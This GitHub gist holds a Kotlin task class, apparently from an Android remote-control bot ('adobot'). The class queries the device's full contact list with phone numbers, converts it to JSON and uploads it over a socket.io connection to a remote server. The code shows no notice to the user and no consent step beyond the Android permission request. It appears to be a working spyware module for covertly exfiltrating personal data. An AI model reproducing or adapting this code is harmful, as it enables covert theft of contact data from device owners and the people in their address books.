Skip to content

Instantly share code, notes, and snippets.

@abhinavsuthar
Last active April 29, 2018 18:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save abhinavsuthar/28675bab1079a6aa25599b45d155f14b to your computer and use it in GitHub Desktop.
Save abhinavsuthar/28675bab1079a6aa25599b45d155f14b to your computer and use it in GitHub Desktop.
package me.adobot.tasks
import android.Manifest
import android.content.Context
import android.content.pm.PackageManager
import android.provider.ContactsContract
import android.support.v4.content.ContextCompat
import com.google.gson.Gson
import io.socket.client.Socket
import me.adobot.models.Contact
import org.json.JSONObject
import java.util.HashMap
import kotlin.collections.ArrayList
class GetContactsTask(private val ctx: Context, private val socket: Socket) : BaseTask(ctx) {
//This function will retrieve contacts from android database
// You can read more about on retrieve contacts from database on internet
private fun getContactList(): ArrayList<Contact> {
val contacts = ArrayList<Contact>()
val cur = ctx.contentResolver.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, ContactsContract.Contacts.DISPLAY_NAME)
while (cur.moveToNext()) {
val phoneNos = ArrayList<String>()
val id = cur.getString(cur.getColumnIndex(ContactsContract.Contacts._ID))
val name = cur.getString(cur.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME))
if (cur.getInt(cur.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER)) > 0) {
val pCur = ctx.contentResolver.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?", arrayOf<String>(id), null)
while (pCur.moveToNext()) {
val phoneNo = pCur.getString(pCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER))
phoneNos.add(phoneNo)
}
pCur.close()
}
val contact = Contact(id, name, phoneNos)
contacts.add(contact)
}
cur?.close()
return contacts
}
// This function will convert ArrayList to JSON string
private fun getJSON(list: ArrayList<Contact>): String {
return Gson().toJson(list)
}
private fun getContacts(): String {
return getJSON(getContactList())
}
// This function will be called on start of class
// First it will check READ_CONTACTS permission and
// then retrieve contacts, convert them to json string and then upload to server
override fun run() {
super.run()
if (ContextCompat.checkSelfPermission(ctx, Manifest.permission.READ_CONTACTS) == PackageManager.PERMISSION_GRANTED)
uploadData(getContacts())
else requestPermissions()
}
// This function will upload contacts to server via socket
private fun uploadData(str:String){
val data: HashMap<String, String> = HashMap()
data.put("contacts", str)
data.put("dataType", "contacts")
socket.emit("usrData", JSONObject(data))
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment